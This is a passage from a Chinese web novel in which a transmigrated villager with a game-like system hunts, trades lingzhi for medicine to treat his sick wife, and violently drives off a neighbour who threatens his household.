李逸心中美滋滋的,从怀中摸出一个饭团,一边吃一边观察周围环境,此时刚到正午时间还很充裕,他决定再在林中搜寻一番。
休息片刻后,他继续深入山林,运气不错,又发现了一株野生灵芝,品相比昨天找到的那株还要周正,或许是今天的好运已经提前透支,下午他再没遇到什么大型猎物,枝头的鸟儿因为枝叶茂密难以瞄准,倒是捡了不少木耳和干蘑,就是不知道能卖多少钱。
“算了,有一头野猪和一只野鸡,这收获已经相当不错了。”
李逸心态很稳,见天色渐暗,便沿着原路返回。
路过昨天发现大量野兔的区域时,他一眼瞥见一只毛皮雪白的肥硕兔子正在草丛中觅食。
距离二十多米,李逸纹丝不动,从容拉弓搭箭。
“嗖!”
羽箭射出,野兔应声倒地,箭头直接射穿了它的头颅。
【狩猎熟练度+ 10】
射杀野猪获得了50点熟练度,而野兔只给10点,看来狩猎技能升级后想要快速积累熟练度,必须优先猎杀大型猎物,若是只靠野兔野鸡,恐怕得猎五十只才能攒够升级所需,那可要耗费十天半个月的时间。
回到村子时,天色已经彻底黑了下来,只有零星几户人家的屋顶飘着炊烟....
这年头粮食紧缺,绝大多数人家为了省粮,都不吃晚饭甚至连早饭都省了。
李逸刚要从一户人家门口经过,院门吱呀一声被推开,一个头上包着破布的男子走了出来,年纪和他相仿,他立刻从记忆中搜到了对应的名字,王赖子。
这家伙平日里和原主李三臭味相投,两人经常一起干偷鸡摸狗的勾当,更让人不齿的是,半月前他为了一斗米竟然亲手把自家刚满月的孩子卖到了乡里。
“呦......这不是李三吗?”王赖子阴阳怪气地开口。
“听说你去县衙领了粮种还领了两个媳妇回来?你小子连粮种都敢打主意,真是饿疯了!来年种不出庄稼官家可饶不了你哟......”
李逸强压下心中的厌恶,学着李三那副混不吝的语气回怼:
“用得着你多嘴?真被官家抓了我正好去牢里蹭吃蹭住,总比在这饿死强!”
王赖子上下打量了他一番,目光落在他背上的破弓箭上,嗤笑起来:“哎呦!李三.....你这是打算进山打猎啊?就你这怂样,小心没猎到猎物反倒成了野猪的点心!”
李逸一整天在山里奔波,早已又累又饿,不耐烦地瞪了他一眼:“少废话!滚回你婆娘被窝里去,别在这碍眼!”
王赖子双手插在袖筒里,抹了把鼻涕,冲着他的背影喊道:
“唉?别急着走啊!明天我就去你家,瞧瞧你那两个媳妇长得怎么样!”
“你敢来,我就打断你的腿!”
李逸回头瞪了他一眼,见他正朝着村北走去,心中了然,这八成是去赵寡妇家了。
赵寡妇身强力壮一个人种着两亩地,今年收成最好家里余粮也最充足。
原主李三以前就经常去蹭吃蹭喝,想到赵寡妇那壮硕的身材,黑黢黢的脸蛋,还有嘴角淡淡的胡须,李逸浑身一哆嗦:“卧槽!辣眼睛!快删除这段记忆!”
走到自家院门口,李逸迎面撞上一道娇小的身影,白雪儿穿着单薄破旧的衣裳,怀里抱着一捆刚捡的枯枝,在深秋的寒风中冻得瑟瑟发抖,小脸都冻红了。
“夫……夫君!”看到李逸背着一大捆柴回来,白雪儿眼中瞬间亮起光芒,欣喜地喊了一声。
李逸有些意外,一顿饱饭竟然让这小丫头对自己改观这么大,这般单纯的模样是被卖了还会替人数钱。
“这么冷的天,你出来干什么?快进屋!”李逸故意板起脸,语气带着几分不悦。
白雪儿快步上前,想帮他分担一些柴火,结果她自己怀里的枯枝反被李逸接了过去,还顺手把一只肥硕的兔子塞进了她怀里。
“呀!夫君真的打到兔子了!”
白雪儿又惊又喜,吃力地拎着兔子快步朝着屋内跑去:“姐姐!姐姐!你快看,夫君打了一只好肥的兔子!”
锅灶旁,于巧倩正蹲坐在地上,双手抱着膝盖,美眸盯着灶膛里跳动的火光发呆。
李逸一整天没回来,她和白雪儿也一整天没吃东西。
昨晚吃得饱早上又吃了不少,虽然下午已经饿了,但在大牢里她们就是一天一顿稀粥的日子,早就习惯了饥饿。
院门口的动静,随后就是白雪儿欣喜的呼喊。
当看到白雪儿怀里那只肥硕的兔子时,于巧倩眼中满是诧异,她本以为李逸只是随口说说,没想到真的猎到了猎物。
李逸走进屋将柴火放在一旁,与灶边的于巧倩对视了一眼。火光映照在她的脸上,驱散了些许蜡黄,让她的气色看起来好了不少。
于巧倩连忙避开他的目光,轻声道:“夫君回来了。”
李逸抽了抽鼻子,闻到了淡淡的米香:“在煮粥?”
“嗯,夫君迟迟未归,我便先煮了一些。”于巧倩点头应道。
李逸从白雪儿手中拿过兔子,轻轻推了她一把:“快回屋暖着去,看你冻得,跟你说你要是敢生病,我可没钱给你治病,直接把你丢出去!”
白雪儿吓得连忙跑进里屋,钻进了被窝,红扑扑的小脸不知道是冻的还是因为害羞。
【老天爷显灵了,夫君真的变好了!】
李逸在灶边的小板凳上坐下,借着灶膛的火光处理野兔。
这兔子的雪白皮毛成色极佳,若是能完整剥下来,肯定能卖个好价钱。
剥皮本就是狩猎技能的一部分,是处理猎物的必备手艺,虽然是第一次做,但柴刀在他手中仿佛有了灵性,精准地游走在兔皮与兔肉之间,只可惜柴刀不够锋利也不太趁手,处理腿部时没能做到完美,只能勉强保证兔皮的完整性。
于巧倩在一旁看得暗自诧异,在她的印象里李三就是个好吃懒做的无赖,没想到竟然还有这样的手艺。
两人四目相对,李逸笑着问道:“倩儿,不害怕吗?”
于巧倩轻轻摇了摇头。
“你也回屋等着吧,一会就能吃兔肉了。”
于巧倩站起身,嘴唇动了动像是有话要说,最终还是咽了回去。
【虽说又猎到了野兔,可粮食终究紧张,昨日剩下的野鸡肉还在,该省着点吃才是……】
听到于巧倩的心声,李逸心中暗自感慨:这绝对是个勤俭持家的好女人,她能被关进大牢,家境定然不会差,说不定是哪家知书达理的大家闺秀。
若不是这混乱的世道,怎么也轮不到李三这种活牲口糟蹋。
李逸以前没烤过兔肉,但穿越前经常刷美食短视频算是个理论派大厨,平日里自己也会做些饭菜,倒也不算难事。
里屋.....白雪儿缩在被窝里,鼻尖萦绕着越来越浓郁的肉香,这是她从未闻过的香味,心中满是期待。
于巧倩则依旧有些担忧,她实在不敢相信一个人会因为一个梦就彻底改变,李逸现在的好或许只是一时的假象。
“雪儿,倩儿,吃饭了!”
当李逸把烤得金黄流油、香气扑鼻的兔肉端进里屋时,二女瞬间看直了眼,忍不住不停吞咽口水。
李逸撕下两条最大的兔腿,分别递给她们,笑着叮嘱:“小心烫,慢点吃。”
比起吃兔肉的过程,李逸更享受烤制的乐趣,受限于缺少调味料,兔肉的味道在他看来只能算是一般,勉强能入口,但在二女眼中这已经是世间难得的美味。
【天哪!这兔肉也太香了!夫君真厉害!】
【白雪儿好感度+ 5】
白雪儿吃得不亦乐乎,小脸上满是满足,李逸也看出来了,这小丫头格外容易满足,只要能让她吃饱不打她,就觉得他是个好夫君。
相比之下,于巧倩的好感度依旧停留在 0点,显然还没完全放下戒备。
吃饱喝足,夜色已深,没有别的事可做,三人便早早躺下休息。
李逸枕着双臂躺在床上,心里盘算着那头野猪的处置方式,留下来自己吃太过奢侈,他们现在需要的东西太多,最好的选择是卖到县城,换些银钱和急需的物资。
白雪儿蜷缩在他怀里,已经彻底放下了防备,睡得十分香甜,于巧倩则辗转了许久,见李逸始终没有别的动作,才渐渐卸下防备,沉沉睡去。
夜里.....李逸做了个奇怪的梦,梦见自己怀里抱着一颗小火球,烤得他口干舌燥。
直到清晨醒来他才发现不对劲,怀里的白雪儿身体滚烫,像是在发烧。
他连忙伸手探向白雪儿的额头,只觉得烫手的厉害,这体温起码超过了三十九度!
白雪儿本就因为长期饥饿导致身体孱弱,免疫力低下,再加上昨天傍晚穿着单薄出去捡柴,冻了那么久,导致风寒侵入体内。
在现代,这或许只是一场普通的感冒,但在缺医少药的古代,一场风寒就可能夺走人的性命!
李逸的脸色瞬间凝重起来.......
第五章:乡里求药
于巧倩睁开双眼,恰好撞见李逸铁青着脸紧盯着白雪儿,顿时心头一紧,还以为他要对雪儿不利。
“夫君……雪儿年纪尚小,侍寝之事,不如让我来……”
她急忙坐起身,看清白雪儿的面色后,立刻察觉出异常。伸手探了探白雪儿的额头,于巧倩脸色顿时煞白:“雪儿的身子怎么这么烫?定是染了风寒!”
李逸瞪了她一眼:“还不是你们不听话!昨日我临走前特意叮嘱过,天凉不要出门,你们偏不听!”
见李逸动了真怒,于巧倩心头发紧,一阵发颤。她猛然想起李逸此前再三叮嘱的话:若是有人生病,便直接丢出去!
于巧倩慌忙下床跪倒在地,满脸惊恐地哀求:
“夫君……我定会好好照料雪儿!先前她在大牢中染了风寒,便是我日夜守着照料好的,就算没有药材,雪儿也一定能挺过去的”
“求夫君千万不要赶她走!日后夫君要打要骂倩儿绝无半句怨言,定然乖乖听话……”
【雪儿这身子骨,此刻被赶出去,岂不是必死无疑!】
李逸心中暗赞,果然患难见真情。这两个女子虽无血缘牵绊,情谊却比亲姐妹还要深厚。
“行了,赶紧起来!你若是也染上风寒,我便把你俩一并丢出去!”
“你好好照顾她,我出去一趟。”
于巧倩望着李逸下床离去的背影,一颗悬着的心才稍稍放下。
转头却见白雪儿早已睁开双眼,泪珠在眼眶里打转,声音细若蚊蝇:“姐姐……夫君会不会觉得我是累赘,把我赶出去啊……”
于巧倩连忙将她揽入怀中,轻轻拍着她的后背安抚:“别怕雪儿,有姐姐在,定会护着你的。”
李逸来到外屋,翻出墙角的破竹筐和一捆干柴收进物品栏,脚步匆匆地冲出门去。
大荒村从前有个瘸腿的土郎中,前些年征兵时因争执被官兵打死了。即便他还活着,缺医少药的年代,那些土方子也不过是赌命罢了。以白雪儿这般孱弱的身子,能不能熬过去全看运气,李逸断然不敢冒这个险。
“只能去乡里了!”李逸当即做了决定。
大荒村到乡里要走大半天,走得快些天黑前能赶回来,若是去县城,天黑才看看抵达县城,一来一回耽搁太久,雪儿的病情根本等不起,他深知病要趁早治的道理,只能退而求其次选择去乡里。
乡相当于前世现代的镇子,有官道、驿站、集市,还有商铺,药材也相对齐全些。
刚出村不远,村口茅厕旁王赖子正系着裤腰带出来,远远瞥见一道急匆匆的背影。
那衣着身形,他一眼就认出是李三,顿时眯起眼睛,贼溜溜的眼珠滴溜溜地乱转,心里打起了坏主意:
这李三怕是要去乡里或县城,他不在家,那两个白捡的媳妇……
王赖子搓了搓手,脸上露出猥琐的坏笑。
坑洼不平的土路上,李逸大步流星地赶路,路两旁是一望无际的荒地。
秋风卷过,半人高的杂草上下起伏,宛如翻涌不息的浪涛。李逸裹紧身上那件补丁摞补丁的破衣裳,早已看不出原本的布料颜色,裤子膝盖处磨出了破洞,一双布鞋也露了脚趾,寒风顺着缝隙往里灌,冻得他直打哆嗦。
往日要走六个小时的路程,李逸硬是用了不到五个小时就赶到了乡里,一路疾行寒意被满身热汗驱散,他大口大口地喘着粗气,胸口剧烈起伏,喉咙干得冒烟。
临近乡里,李逸从物品栏取出破筐和干柴,将昨天猎到的野鸡放在筐底,上面铺了一层干木耳和干蘑最顶上压着干柴,这般装扮,旁人只会当他是来卖柴的穷农户,能少些不必要的麻烦,这年头穷人最易遭人觊觎。
乡里只有一家药铺,坐落在集市的显眼位置,李逸赶到时一个十三四岁的小伙计正准备关门,见他走来皱着眉挥手驱赶,语气不耐烦:“不收柴火!我们这儿用不着,你去别家问问吧!”
“别关门,我是来抓药的。”李逸快步上前,伸手抵住门板,语气急切。
小伙计上下打量他一番,见他衣衫褴褛满面风尘,怀疑的问道:“就你?也有钱抓药?”
正要继续驱赶,里间传来一个中气十足的声音:“让他进来吧”
“知道了,东家。”小伙计不情愿地侧身让开,嘴里还嘟囔着。
“多谢。”李逸连忙走进药铺。
药铺不大却收拾得干净整洁,空气中弥漫着淡淡的药香,药柜前一位头发半白的中年男人正用小秤细细称量药材,旁边的小桌上,一个模样清秀的少女低头认真记录着什么,神情专注。
李逸没有贸然开口,等男人放下秤杆,才上前躬身道:“掌柜的,我家媳妇染了风寒,高热不退,想求您抓些救命的药。”
少女闻言停下笔,侧头看来....
见来人衣着破旧身后还背着柴筐,显然是下面村子的穷苦农户。让她诧异的是,竟有人会为了自家媳妇专门来抓药,她见过为爹娘求药的,见过为孩子求药的,却从未见过为媳妇费心的。在这个年代,女子地位低下,别说下面的穷苦农户,就是乡里的一些能糊口的农户,也未必会为媳妇花钱抓药。
李逸从怀里掏出两株用布小心包裹的灵芝,轻轻放在柜上,语气诚恳:“掌柜的,这是我从深山里采的灵芝,采摘时格外小心,品相都完好,我想用它来换药。”
“哦?灵芝?”掌柜的眼睛顿时亮了起来,连忙伸手拿起,细细摩挲查看,指腹轻抚过灵芝的纹理,眼神里满是惊喜。
【这两株灵芝品相极佳,肉质饱满,可惜年份稍浅,若是再长几年,便是不可多得的珍品了。】
听到老者的心声李逸暗自懊恼,早知道就先拿出一株,是他忽略了灵芝在古代是极其昂贵珍惜的药材。可白雪儿的病情耽搁不起,即便掌柜开口要两株,他也只能认了。
掌柜地沉吟了片刻,将其中一株推回到李逸面前:“嗯……这两株灵芝品相上佳采摘得也精心,有这一株便足够换治疗风寒的药了。”
说罢他转头对少女喊道:“玉竹,过来帮忙抓药。”
“嗯....”名叫玉竹的少女应了一声,放下笔站起身。
李逸注意到她的身高和白雪儿相仿,穿的衣服虽不是绫罗绸缎却干净整洁,没有一个补丁,所用布料也比寻常农户的要好上不少。
掌柜手从药柜中抓取药材,用小秤仔细称量,动作娴熟。
很快,他便抓了七副药,包好递给他,叮嘱道:“用五碗水煎成两碗,分早晚空腹服用,坚持七日,风寒便可痊愈,服药期间切记让病人保暖,莫要再受风寒。”
“多谢掌柜的,我记下了。”李逸接过药包,心中稍定。
犹豫片刻他又将另一株灵芝放回柜台上,躬身道:“掌柜的,我想用这株灵芝,换一床旧被褥,再斗胆求些这位小姐的旧衣物,我家媳妇便是因为穿得太过单薄才冻得染了风寒,实在是迫不得已才开口。”
掌柜的看着他诚恳的模样,赞许地点点头,转头对少女道:“玉竹,去收拾些旧衣物和一床厚实些的被褥来。对了,把我那件闲置的旧冬衣也一并找出来,给这位小哥带上。”
陈玉竹应声离去,转身时又忍不住看了李逸一眼,这人自己穿得这般破旧,心里却全想着自家媳妇,虽是日子穷苦,能嫁给他倒也算有个依靠了。
“多谢掌柜,多谢掌柜!”李逸连连道谢。
“无需客气”掌柜的摆了摆手,语气温和:“用些旧衣物被褥换一株灵芝,是我占了你的便宜。”
说罢....他又对小伙计吩咐:“小六,去后厨装两斗粟米一斗大麦来,给这位小哥带上。”
“好嘞!”小伙计快步离去,这次倒没有丝毫怨言。
李逸心中暗叹,这掌柜的是个宽厚之人,没有奸商的油滑算计,以后再寻到药材可以送到这里来,能得到公道价格。
他从竹筐里抓了些干蘑和木耳,放在柜台上:“掌柜的,这点东西不成敬意,是我一点心意,还请收下。日后我寻得药材,定会优先送到您这里售卖。”
掌柜的笑了笑,点头收下:“好....日后有药材尽管来,我定给你公道价,绝不欺瞒。”
李逸再次躬身行礼:“李逸在此谢过掌柜。”
片刻后,小伙计拎着两个布袋回来,里面分别装着粟米和大麦。陈玉竹也抱着一床旧被褥和一堆衣物走了出来,衣物叠得整整齐齐,看得出是精心挑选过的。
往年.....药铺常会将闲置的旧衣物赠给穷苦农户,陈玉竹看到李逸对媳妇的心意,特意多收拾了几件厚实的衣物。
“多谢掌柜,多谢小姐。”看到陈玉竹抱着的衣物,李逸再次诚恳道谢。
他将旧衣物裹在被褥里,用麻绳紧紧捆成一个圈背在背上,又拎起粮食布袋,再次向掌柜和少女道谢后,才匆匆离开药铺。
陈玉竹望着他远去的背影,看得有些出神,连父亲走到身边都没察觉。
“看什么呢,这么入神?”陈掌柜拍了拍女儿的肩膀,笑着问道。
陈玉竹脸颊微红,有些不好意思地说:“爹,这个农户和我以前见过的那些不一样,他对自己的媳妇倒是真心实意的。”
陈掌柜点点头,眼神里带着一丝赞许:“确实有些不同,这年轻人懂分寸还知礼数,性子也实在,是个可靠的人”
他顿了顿,又补充道:“但只是一面之缘终究不能妄下定论,人心叵测,还是要多留个心眼。”
“玉竹知道”陈玉竹应了声,美眸又瞥了眼李逸消失的方向....
第六章:李逸护妻
大荒村...
从太阳升起后王赖子就坐在外面,靠着自己破旧低矮的院墙晒太阳。
一大清早他就看到李三那小子匆匆出门,现在太阳西斜他还没有返回。
“李三成又去了县城或者乡里了,那小子的鬼主意最多,不知道又去干什么了.....”
“呸......”
将嘴里的枯草吐出,王赖子慢悠悠站起身,伸了个懒腰。
“这才过了几天,他家的粟米指定还有剩。”
王赖子摸了摸干瘪的肚皮,眼底闪过一丝不怀好意:“去他家蹭顿吃的,顺便瞧瞧他那白捡来的媳妇长啥模样。”
双手习惯性地揣进袖筒,王赖子缩着脖子,一摇三晃地往村西头挪。
李三家的院子在村里是出了名的破,两扇破木门歪歪斜斜挂在门框上形同虚设,低矮的土墙被雨水泡得塌了大半。
王赖子没急着进去,站在墙边探头往里瞅。
不多时.....就见一个身形单薄的女子端着灶灰盆从屋里出来,轻轻将灰倒在院角的空地上。
王赖子眯眼细细打量,这女子跟村里那些粗手粗脚的村妇寡妇不一样,眉眼清秀得像画里的人,走路时腰肢轻轻扭动,有着一股村妇身上没有柔美。
“啧啧啧……”王赖子忍不住咂舌,心里的邪火直往上窜。
“这李三倒是走了狗屎运,白得了这么好看的媳妇,不行,赶明儿我也得去县衙里看看。”
于巧倩刚转过身,就看见院墙外探着个脑袋,一个裹着破旧麻布头巾的男人正在眯眼打量着她,那眼神像黏腻的虫子让她浑身发毛。
“嘿!李三家里的,忙着做饭呢?”
王赖子搓着手走进院子,声音里满是轻佻:“用不用哥来搭把手?”
于巧倩吓得心头一紧,转身快步跑回屋里连灶灰盆都忘了端。
王赖子看着她慌乱的背影,只觉得心痒难耐。
李三懒归懒去翻寡妇墙只为了一口吃的,这王赖子不一样他是个十足的色胚,除了自家那个懒婆娘,看谁家的女人都想占便宜。
屋里的于巧倩刚站稳就听见院门外传来拖沓的脚步声,她心一沉紧张地攥紧了拳头,指节都泛了白。
外屋的门是块破木板,根本挡不住人,里屋还躺着生病的白雪儿。
惊慌间,于巧倩抓起灶台边烧火用的长木棍,双手紧紧攥着,后背靠着里屋的门板,大气都不敢出。
“嘿嘿.....小娘子,躲什么呢?”
王赖子推门进来,一股混合臭味道随之飘进屋里。
他凑得近了,越看于巧倩越顺眼,眼神里的贪婪几乎要溢出来。
“你……你别过来!”于巧倩声音有些发颤,举起木棍指着王赖子:“我夫君马上就回来了,他脾气不好,你快走吧!”
王赖子咧嘴一笑,露出那颗缺了一颗的门牙,语气越发嚣张:
“嘿嘿......你说李三那个怂货?全村谁不知道他是个没用的软蛋?你去问问张寡妇、赵寡妇,哪个不夸我比他厉害?”
王赖子一步步逼近:“你现在是他的人,过几天指不定是谁的呢,那小子为了一口吃的什么事做不出来?我给他一斗米他明天就能把你送给我”
话音未落,王赖子突然上前一把抓住木棍狠狠一夺,于巧倩力气小,被他拽得一个踉跄差点摔倒。
与此同时.......
荒野之上的李逸正拼了命地往回赶,日头渐渐西沉,余晖将他的影子拉得老长。
一整天都在奔波他粒米未进,水囊早就空了,喉咙干得像要冒烟,肚子也饿得咕咕直叫。
可他不敢有丝毫停歇,白雪儿的病情像块石头压在他心上,持续高烧太危险,稍有不慎就会引发其他病症,他真怕于巧倩应付不来。
深秋的风很凉,可李逸的额头上却满是汗水,后背的粗布衣服早就被浸透,汗水顺着脸颊滑到下巴,滴落在脚下的泥土里。
终于,前方出现了大荒村的轮廓,李逸脸上露出一丝喜色,随之而来的是被强行压制的疲惫感,几乎要将他拖垮。
“再坚持一下,马上就到家了。”
李逸咬了咬牙,从随身的物品栏里取出破筐和新换的被褥背在身上,脚步的步伐又加快了几分。
刚到自家院门口,一阵急促的呼喊声就钻进了耳朵:“你别过来!不要碰我!”
紧接着是王赖子那令人作呕的贱笑:“嘿嘿嘿......小娘子,李三那个怂货护不住你,早晚你都是我的!”
“哎呦!臭娘们,你敢咬我!”
李逸的瞳孔骤然收缩,额头的青筋瞬间暴起,一股怒火直冲头顶。
昨天他只当王赖子是在口花花,没想到竟然趁自己不在家上门作恶。
李逸三步并作两步冲进屋,眼前的景象让他热血上头,于巧倩被推倒在地,额角磕的一片通红,王赖子正扬起手中的烧火棍准备朝她打下去。
见到突然出现的李逸,王赖子先是愣了一下,随即冷笑起来:
“李三,你可真没用啊,连自家婆娘都管不好,不知道男尊女卑一点规矩都没有,今天我就帮你好好管教她。”
李逸二话不说,大步上前一把夺过烧火棍,迎面一拳狠狠砸在王赖子的脸上。
王赖子惨叫着连连后退,伸手一摸,掌心全是鲜血,还有一颗带血的黑门牙掉在了地上。
“李三!你他娘的敢打我!”王赖子捂着嘴,大声叫骂。
李逸一把揪住他的衣领,脸色因愤怒而涨得通红,声音里满是杀气:“王赖子,我的媳妇你也敢碰?昨天我就警告过你,敢来我就打断你的狗腿!”
“呵,我不信你真敢……”
话还没说完,李逸一脚踹在王赖子的小腿上。
王赖子疼得跪了下去,紧接着又被李逸一脚踹翻在地。
李逸抽出墙角的柴刀,拽过王赖子的一条腿,不等他反应过来,就用刀背狠狠砍在小腿骨上。
骨头碎裂的脆响和王赖子的惨嚎声交织在一起,在破旧的屋子里回荡。
“啊!我的腿!我的腿啊!”
王赖子的鼻涕眼泪混着血沫,疼得满地打滚,李逸像拖死狗一样把他拖出院子,狠狠摔在地上。
“滚!下次再敢来,我就打断你另一条腿!”
于巧倩扶着门框看着李逸的背影,眼眶微微发热。
刚才那一瞬间,她几乎已经绝望,没想到李逸会及时回来,还如此果断地教训了王赖子。她之前还以为,就算李三回来也只会懦弱地默许,现在看来是她想多了。
只有李逸自己知道,若是原主李三恐怕真的会纵容王赖子,幸好他穿越过来,用全新的灵魂取代了那个肮脏不堪的躯壳。
“倩儿,你没事吧?”李逸转身回来,语气里满是关切。
于巧倩抬头看向他,从他眼中看到了的担忧,那是装不出来的,这一刻她才真正愿意相信,李逸是真的变了。
“我没事,夫君”她轻声应道,连忙擦了擦眼角。
“对了,雪儿怎么样了?”
李逸快步走进里屋,只见白雪儿蜷缩在被窝里,小脸烧得通红还在微微发抖,伸手一摸,额头依旧滚烫。
“倩儿,这是我从乡里抓的药,你赶紧去煮了,五碗水煮成两碗。”李逸从破筐里拿出药包递给她。
于巧倩接过药包,鼻尖萦绕着浓郁的药香,心里像是被什么东西撞了一下。
李逸一早就出门,还以为他是赌气离开,没想到竟是为了给雪儿求药。
于巧倩抬头打量着李逸,他浑身是汗,破布鞋上沾满了泥土,裤脚还沾着草屑,显然是赶了一整天的路。
【于巧倩好感度+ 1】
“倩儿?倩儿!愣着干什么,快去煮药啊!”李逸的声音拉回了她的思绪。
“嗯,好。”于巧倩连忙点头,转身去了外屋。
李逸拆开捆被褥的麻绳,把厚实的被褥全都盖在白雪儿身上。
白雪儿烧得迷迷糊糊,嘴里细若游丝地哀求着:“夫君,不要把雪儿赶出去……雪儿很快就会好的,不要赶我走……”
李逸坐在床边,轻轻帮她掖好被角,眼神温柔:“放心,不会赶你走的。”
外屋的灶火燃了起来,橘红色的火苗跳动着,映在于巧倩的脸上。
将药材倒进瓦罐,加水煮沸,浓郁的药香渐渐弥漫开来。
看着火苗发呆,于巧倩心里百感交集,李逸不仅没有赶走生病的白雪儿,还为了她奔波了一整天,这样的转变,实在让她始料未及。
联想起他之前的所做作为,真的是判若两人。
一件带着体温的冬衣披在了肩上,于巧倩回过神,发现李逸不知何时站到了她身边:“这是我在乡里换的,你进屋找件合身的换上,天凉,你可不能再染了风寒。”李逸笑着说。
“谢夫君。”
于巧倩的脸颊微微发烫,拿起衣服走进里屋。
进屋就看到盖在白雪儿身上的被褥,虽然不是新的但补丁很少,棉絮松软厚实,旁边还放着好几件女子的衣服,只有一件冬衣是男子的。
李逸先烧了一锅开水倒进木盆里,又拿出粟米开始煮粥,赶了一天路,他早就饿得前胸贴后背了。
不多时,于巧倩换好衣服走了出来,衣服是玉竹小姐的,虽然玉竹小姐比她矮半头,但她身形单薄,古代的衣衫又偏长,穿在身上也很合身,她还简单整理了一下头发,显得越发清秀。
李逸看了她半天,笑着夸赞:“真合身,倩儿穿起来真好看,有了这些冬衣,你们就不会再冻生病了。你们要是再病倒,可就苦了我这个夫君,得一人照顾两个病人。”
于巧倩的脸颊更红了,走到他身边轻声说:“夫君奔波了一天,还是我来煮粥吧。”
“不用,你去照顾雪儿。”李逸指了指木盆:“用温水浸湿布巾给她擦擦身体再敷在额头上,能缓解发热,郎中说,烧得太久人会变傻的。”
于巧倩一听,连忙端起木盆走进里屋,按照李逸的吩咐细心照料白雪儿。
过了一会儿,药煎好李逸扶起白雪儿,于巧倩端着药碗递过去,经过擦拭白雪儿清醒了一些,不再昏昏沉沉。
“夫君.....我还以为你要把我赶出去呢。”白雪儿的声音还有些虚弱。
李逸刮了刮她的小鼻子,笑着说:“以后再不听话,我就真的赶你走了!来......先喝药。”
白雪儿乖巧地点点头,捏着鼻子把苦涩的汤药一饮而尽。
重新躺下后,白雪儿看着于巧倩身上的衣服,露出笑:“姐姐,你穿的衣服真好看。”
“你也有,这是夫君特意给你带回来的。”于巧倩笑着说。
白雪儿转头看向李逸::“夫君对雪儿真好!”
喝了药没多久,白雪儿就又睡着了,李逸和于巧倩坐在灯下,安静地喝着米粥。
于巧倩先吃完,去外屋端了一盆温热的水进来:“夫君奔走了一天,洗洗脚早点休息吧。”说着就要蹲下帮他脱鞋。
李逸连忙拦住她:“不用,我自己来就好,你今天也累了,早点休息。”他不习惯这样的伺候,毕竟他不是原来的李三。
于巧倩没有坚持,只是安静地站在一旁。
李逸实在太累了,洗完在白雪儿身边躺下不到一分钟,就发出了均匀的鼾声。
于巧倩坐在床边,看着他熟睡的轮廓,心里五味杂陈。
今天李逸的所作所为她都看在眼里,她愿意相信,他是真的有了悔改之意,只是不知道,这份改变能坚持多久……
第七章:制作土坯砖
次日......
李逸睁眼的第一件事便是伸手抚摸白雪儿的额头,指尖传来的温度虽仍有些偏热,却已不像昨夜那般灼滚烫的吓人,悬着的心总算稍稍落地。
白雪儿在此时缓缓睁开眼,一双水灵灵的大眼睛,一眨不眨地凝着李逸,声音带着刚睡醒的沙哑软糯:“夫君醒了.....”
李逸坐起身,食指轻轻刮了下她的鼻尖,温声笑道:“嗯,我去做饭,你身子刚好得吃点东西补补。”
“夫君,还是我来吧。”
另一侧的于巧倩也顺势坐起,身上那件厚实的冬衣衬得她气色好了不少,先前衣裳单薄只能缩在床上,如今有了她不能再让李逸一个人忙碌。
李逸点头:“也好,倩儿做饭,我去挑水砍柴。”
外屋.....
于巧倩守着炉灶,目光落在跳动的柴火上,火苗映得她脸颊泛红。
院外,李逸正来来回回地忙碌,先将空了大半的水缸灌满,又扛回一捆劈好的干柴,末了拿起扫帚,仔细清扫着院中散落的枯叶与碎石。
看着眼前这个忙碌的身影,于巧倩心中感慨万千。
不过三日光景,曾经那个游手好闲脾气暴躁的李三,仿佛彻底换了个人,眉眼间没了往日的懒散,说话做事沉稳靠谱,连语气都多了几分让人安心的笃定。
【或许,真是李家祖宗显灵,才让他彻底改了性子吧......】
早饭过后,看着白雪儿乖乖喝下药汤,李逸又独自背上弓箭进山了。
前日布设的陷阱旁果然留有兔子挣扎的痕迹,可惜来晚了一步只剩下几滴暗红的血迹,大概率是被路过的野兽叼走了。
李逸想起物品栏里的野猪,取出检查确认肉质依旧鲜嫩紧实,没想到这物品栏竟还有保鲜的妙用,若是没有这份便利,多余的肉怕是只能赶紧做成腊肉或肉干才能避免浪费。
日头刚过正午,李逸的物品栏里已经多了一只肥硕的野兔和一只野鸡,狩猎技能提升后他的箭术二十米之内堪称箭无虚发,被他盯上的猎物几乎没有逃脱的可能。
“靠山吃山也要细水长流,可不能只顾着眼前。”
李逸放弃了深入山林的念头,转身往村子方向走去。
路过王赖子家门前时,恰好瞥见他那出了名的懒婆娘,正慢悠悠地捏着几根枯枝往院里挪,屋中隐约传来王赖子的哀嚎声,她却毫不在意,脚步拖沓得像是在逛集市。
回到家,于巧倩连忙接过李逸肩上的木柴,好奇地问道:“夫君,今日怎么回来得这么早?是担心雪儿吗?”
“是有些担心”李逸点头,随即目光扫过四处漏风的破木屋,眉头皱起:“天气越来越凉了,这破屋子再不修整,入冬后咱们可有得受。”
屋里的白雪儿烧已经退了只是身子依旧虚弱,整个人昏昏沉沉的,连抬手的力气都没有。
受现代记忆的影响,李逸本以为中药见效缓慢,如今才明白,药方是一方面药材的品质更关键,想来那乡里药铺的陈掌柜抓的都是精挑细选的好药,才有这般药到病除的效果。
昨日从药铺换来了两斗粟米和一斗大麦,加上每日进山打猎的收获,只要李逸保持这份勤快,入冬前囤积足够的粮食应该不成问题。
匆匆吃过午饭,李逸端着一碗粟米,往何铁牛家走去,他是来换推车用的。
何铁牛在大荒村算得上是数一数二的纯爷们,身强力壮,当年为了照顾半身不遂的老娘,硬是冒着风险躲避了征兵,人勤快又孝顺,就是娶的媳妇性子刻薄,平日总爱斤斤计较。
往日里,何铁牛最瞧不上李三和王赖子这种懒汉无赖,可今日李逸刚进门,不等他开口他媳妇就眼疾手快地接过粟米,脸上堆起热情的笑容,一口应下了借推车的事。
“李三兄弟,不就是辆推车吗?尽管用,这么客气做什么!”
“铁牛,快把推车给李三兄弟送过去,顺便送送人家。”
不过一碗粟米,就让她态度大变,一口一个李三兄弟,亲热得像是多年的老友。
走出院门,何铁牛看着李逸笨拙地推着车,忍不住憨笑起来:“呵呵.....你这么推可不行啊,非得累瘫不可,推车子得用巧劲儿,来....我教你。”
看着何铁牛娴熟地掌控着推车,李逸心中忽然生出一个念头:这何铁牛身大力不亏,是个干活的好帮手。
“铁牛哥,你帮我干一天活,我再给你一碗粟米怎么样?”
何铁牛停下脚步,疑惑地看向李逸:“什么活?我这几天也闲着,无非就是砍砍柴。”
“我打算入冬前做些土坯砖。”李逸如实说道。
何铁牛挠了挠头,更困惑了:“土坯砖?你要盖房子?”
李逸笑了笑:“现在盖房子肯定来不及了,我想搭个火炕过冬。”
